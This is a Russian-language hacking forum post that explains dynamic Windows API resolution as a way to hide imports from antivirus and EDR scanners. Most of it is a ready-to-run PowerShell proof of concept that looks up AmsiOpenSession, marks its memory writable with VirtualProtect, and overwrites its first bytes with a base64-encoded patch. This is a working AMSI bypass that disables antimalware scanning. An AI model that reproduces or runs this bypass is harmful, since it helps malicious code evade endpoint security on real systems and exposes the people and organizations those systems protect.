stihl не предоставил(а) никакой дополнительной информации.
What is Dynamic API Resolution?
Для просмотра ссылки Войди
In simpler terms — rather than saying:
You say:
This is done using functions like:
- GetModuleHandle → to get the handle of a DLL (like kernel32.dll or amsi.dll)
- GetProcAddress → to get the memory address of a specific function (like AmsiOpenSession, VirtualProtect)
Why is Dynamic API Resolution Better than Static Imports?
Static API Import | Dynamic API Resolution |
---|---|
APIs are declared upfront via P/Invoke or linking | APIs are looked up in-memory at runtime |
Imports are visible in the PE header / IAT | No API names visible in the executable |
Easy for AV/EDR to statically scan and detect | Harder to detect with static analysis |
Detected via known bad API patterns | No upfront signature to trigger on |
Example: DllImport("kernel32.dll") | GetModuleHandle("kernel32.dll") → GetProcAddress("VirtualProtect") |
Proof of Concept
Код:
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiOpenSession
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] ([Convert]::FromBase64String("SDHAAw=="))
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 3)
Для просмотра ссылки Войди